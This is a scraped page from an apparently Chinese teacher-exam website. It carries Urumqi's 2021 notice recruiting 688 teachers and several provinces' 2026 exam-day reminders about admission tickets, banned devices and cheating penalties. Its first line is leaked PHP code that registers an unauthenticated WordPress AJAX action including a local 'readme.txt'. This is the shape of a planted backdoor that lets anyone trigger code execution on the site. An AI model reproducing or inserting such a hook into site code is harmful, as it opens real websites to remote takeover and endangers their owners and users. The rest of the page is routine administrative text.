if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
新疆乌鲁木齐市2021上公开招聘教师688人公告-全国教师资格考试网

新疆乌鲁木齐市2021上公开招聘教师688人公告

  根据《关于印发自治区事业单位面向社会公开招聘工作人员办法的通知》(新人社发〔2013〕141号)、《关于加强乌鲁木齐市非在编聘用教师管理工作的意见》(乌党办发〔2019〕6号)精神,结合乌鲁木齐市教师队伍建设实际,乌鲁木齐市计划面向社会公开招聘564名在编教师和124名非在编教师。
  一、招聘条件
  (一)具有中华人民共和国国籍;政治思想素质好,热爱祖国,拥护中国共产党的领导,遵守宪法和法律,自觉维护民族团结,具有良好的品行;热爱教育事业,具有国家通用语言文字教学能力,具有岗位需要的专业和技能;身体健康,具有良好的心理素质,适应教育教学工作的需要。
  (二)18周岁及以上、35周岁及以下(1985年4月30日至2003年4月30日期间出生)。
  (三)岗位所需的学历(学位)、专业条件。专业要求参照《2021年乌鲁木齐市中小学(幼儿园)、中等职业院校教师招聘专业参考目录》(附件5)。
  (四)考生须具备招聘岗位要求的相应层次、学科教师资格证书。2021年应届毕业生如无法提供报考岗位要求的相应层次教师资格证书,必须在2021年9月正式上岗任教后一年内取得报考岗位要求的相应层次教师资格证书,未能按时取得的,解除聘用关系。
  (五)普通话水平须达到二级乙等及以上标准;报考语文学科人员,普通话水平须达到二级甲等及以上标准。
  (六)符合报考岗位所需的其他条件。
  (七)有下列情形之一的人员,不得报考:(涉及时限的均含试用期,并截止至2021年4月30日)
  1.机关事业单位在编在册人员;
  2.参加机关事业单位招(录)聘已入闱体检程序的;
  3.现役军人;
  4.约定服务期未满的;
  5.2018年以来,在机关事业单位等招考过程中有作弊、弄虚作假等行为的;
  6.受行政处分尚未解除的人员;曾因犯罪受过刑事处罚或被开除公职的;
  7.法律法规规定不得聘用为教师的其他情形的。
  特别提醒:根据《关于加强乌鲁木齐市非在编聘用教师管理工作的意见》(乌党办发〔2019〕6号)文件聘用的非在编教师不得报考非在编岗位。
  二、招聘程序
  招聘程序主要包括:信息发布、报名缴费、笔试、资格审查、面试、体检、考察、公示、岗前培训、办理聘用手续。
  (一)信息发布
  《2021年乌鲁木齐市面向社会公开招聘教师简章》(以下简称《简章》)和《2021年乌鲁木齐市面向社会公开招聘在编教师岗位表》《2021年乌鲁木齐市面向社会公开招聘非在编教师岗位表》(以下简称《岗位表》,附件1、2),在乌鲁木齐市人力资源和社会保障服务平台(http://www.wlmqrc.com)人事考试专栏发布。
  (二)报名缴费
  采取网上报名方式进行,考生登录乌鲁木齐市人力资源和社会保障服务平台(http://www.wlmqrc.com)人事考试专栏报名,考生限报一个岗位。报名完毕后,报名人员自行下载打印《2021年乌鲁木齐市面向社会公开招聘教师报名表》(以下简称《报名表》)。
  考生须确认报名信息真实有效,编造虚假信息者取消报名资格。
  根据新价非字〔2000〕25号文件规定,报考人员按报名费15元/人、笔试每科40元/人的标准缴纳,相关费用在网上报名时一并缴纳。
  (三)笔试
  笔试科目为《教育综合知识》,主要内容包括:教育政策法律法规及学科专业知识,考生使用国家通用语言文字答题。
  笔试对下列人员给予加分:
  1.烈士配偶及其子女加5分;
  2.使用国家通用语言文字答题的维吾尔族、哈萨克族、蒙古族、柯尔克孜族、锡伯族、塔吉克族、达斡尔族、乌孜别克族、塔塔尔族和俄罗斯族报考人员加5分;
  3.服务期满考核合格的大学生西部计划志愿者、“大学生村官”以及“三支一扶”人员加5分;
  4.报考乌鲁木齐县所属托里乡、甘沟乡和达坂城区所属中小学、幼儿园的加10分。
  符合上述多项条件的,按最高标准加分一次。笔试满分100分,加分后超过满分的按满分计算。因个人填写信息错误导致符合加分条件未加分的,不予加分。不符合加分条件,加分且入闱的,取消加分并重新排名。
  根据笔试成绩总体情况确定合格最低控制分数线,分数线以下的,不得进入下一环节。
  (四)资格审查
  参加资格审查人员应填写《2021年乌鲁木齐市面向社会公开招聘教师资格审查表》(以下简称《资格审查表》,附件3),资格审查工作由市区两级教育行政主管部门按照《简章》和《岗位表》要求,对报考人员报名信息和所需证明材料进行确认和审核。
  资格审查贯穿招聘工作全过程,在招聘各环节发现报考者不符合招聘资格条件的,均可以取消其报考资格或者聘用资格。
  资格审查对象:按照笔试成绩达到合格分数线以上,由高到低按下列原则确定入闱人员:招聘1至2人的岗位,按照1:3的比例确定;招聘3至10人的岗位,按照1:2的比例确定。达不到规定比例的岗位,按实际合格人数确定。
  资格审查时须提供以下材料的原件和复印件:准考证、身份证、毕业证(学位证)(2021年应届高校毕业生暂未取得毕业证<学位证>的,须提供《教育部学籍在线验证报告》且在2021年7月31日前提交毕业证<学位证>)、教师资格证、普通话等级证书、《教育部学历证书电子注册备案表》(可通过中国高等教育学生信息网http://www.chsi.com.cn“在线验证系统”进行验证)、《资格审查表》、《报名表》(报名网站下载)和岗位要求的其他证件。其中:
  1.大学生西部计划志愿者须提供大学生志愿服务西部计划志愿服务证;
  2.“大学生村官”须提供地(州、市)级及以上组织部门证明;
  3.“三支一扶”人员须提供高校毕业生“三支一扶”服务证书;
  4.符合笔试加分条件的,需提供相应的证明材料。
  资格审查不合格(或放弃)的,不得进入下一环节。所产生的缺额,从本岗位笔试合格人员中,由高到低依次递补。
  (五)面试
  面试对象:资格审查合格人员。
  面试形式:采用片段课方式进行,备课时间40分钟,试讲时间15分钟,答辩时间3分钟。考官根据考生所报岗位学段学科,从面试组织部门准备好的教材中,现场抽取一节课,交由考生在规定时间内准备一份教案,然后进行试讲,试讲完毕后进行答辩。主要考察考生国家通用语言文字应用能力和学科专业知识掌握情况。考生面试时必须使用国家通用语言文字,国家通用语言文字运用情况考核不合格的,视为面试不合格。音乐、体育、美术、信息技术学科要进行专业测试,学前教师岗位要进行幼教专业技能测试。
  面试成绩:满分100分,合格分数线为60分。面试成绩当场公布,不合格的,不得进入下一环节。
  面试费用:40元/人,在面试前缴纳,由参加面试的报考人员自行承担。
  (六)总成绩计算
  总成绩计算方法:总成绩=笔试成绩×50%+面试成绩×50%。面试成绩不合格的考生不计算总成绩。笔试、面试成绩和总成绩均按“四舍五入法”保留小数点后两位数字。同一岗位考生总成绩并列的,笔试成绩高的考生进入下一环节。笔试成绩与面试成绩均相同的,则进行面试加试,面试加试成绩高的考生进入下一环节,加试成绩不计入总成绩计算。
  (七)体检
  根据总成绩由高到低,按照应聘人数与招聘人数1:1的比例确定,达不到招聘人数的按实际合格人数确定。体检按照《新疆维吾尔自治区申请教师资格人员体检办法(修订)》(新教师〔2010〕8号)和《关于申请认定幼儿园教师资格人员体检标准的补充通知》(新教师办〔2011〕14号)执行。体检费由参加体检的考生自行承担。体检结果有异议的,统一组织一次复检,复检结果为最终结果。体检不合格(或放弃)的不得进入下一环节,所产生的缺额,按照总成绩由高到低依次递补。
  (八)考察
  体检合格考生填写《2021年乌鲁木齐市面向社会公开招聘教师考察表》(附件4)。
  考察内容主要包括应聘人员的政治思想、道德品质、现实表现、遵纪守法、廉洁自律及家庭社会关系等方面的情况。
  在考察中,经审定不符合招聘条件和要求的、截止公示前未能提交岗位所需学历(学位)证书或其他证明材料的,考察结论为不合格,不得进入下一环节,所产生的缺额,按照总成绩由高到低依次递补。
  (九)公示
  根据体检、考察结果确定拟聘用人选,在乌鲁木齐市人力资源和社会保障服务平台人事考试专栏公示。公示期限为7个工作日。
  (十)岗前培训
  新聘教师岗前培训由市教育局具体组织实施,培训的主要内容是教育政策法规、教师职业道德、教材教法等,培训时间不少于80学时,培训费用按照相关规定收取。
  (十一)聘用
  岗前培训合格的,办理聘用(劳动)合同手续,并按规定时间报到上岗。逾期不报到者视为自动放弃。
  三、时间安排
  (一)报名与缴费
  发布《简章》和《岗位表》:2021年4月30日。
  网络报名:2021年5月6日10:30-5月13日18:30。
  网络缴费:2021年5月6日10:30-5月14日18:30。
  打印准考证:2021年5月18日10:30-5月21日18:30。
  (二)笔试
  笔试:2021年5月22日,具体安排详见5月14日发布的《笔试通知》。
  笔试成绩公布:2021年5月28日18:00。
  (三)资格审查
  2021年5月31日-6月2日(每天10:30-18:00)。
  (四)面试
  2021年6月12日(详见具体安排)。
  (五)总成绩公布
  2021年6月18日18:00。
  (六)体检
  2021年6月22日-6月23日。
  (七)考察
  2021年6月25日-7月1日。
  (八)公示
  2021年7月5日-7月11日。
  以上时间安排,如遇特殊原因变化的,另行通知。
  四、其他要求
  (一)根据疫情防控常态化要求,报考人员应切实增强疫情防控意识,认真做好自我防护,考前尽量减少外出和人员聚集。参加笔试和面试时,考生须在考前14天每天进行健康状况监测、体温测量并如实填写《考生体温测量登记表》(附件6),签署《健康应试承诺书》(附件7),并于笔试和面试时出示考前7日内核酸检测阴性报告、通信大数据行程卡和健康码,主动接受体温测量,从进入考点至离开考点期间全程佩戴口罩。根据疫情防控情况,笔试和面试前疫情防控部门有其他要求的,另行通知。
  (二)报考人员要仔细阅读《简章》和《岗位表》,严格对照自身条件和岗位要求报考。
  (三)报考人员要诚信报考,确保提交的报考信息和材料的真实性。凡在报考中弄虚作假的,一经查实,取消资格,且3年内不得参加我市组织的教师招聘考试。
  咨询电话(工作日10:30至19:00):详见《岗位表》
  网络报名技术咨询电话(工作日10:30至18:00):0991-4638184
  监督电话(工作日10:30至18:00):0991-2956070
 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部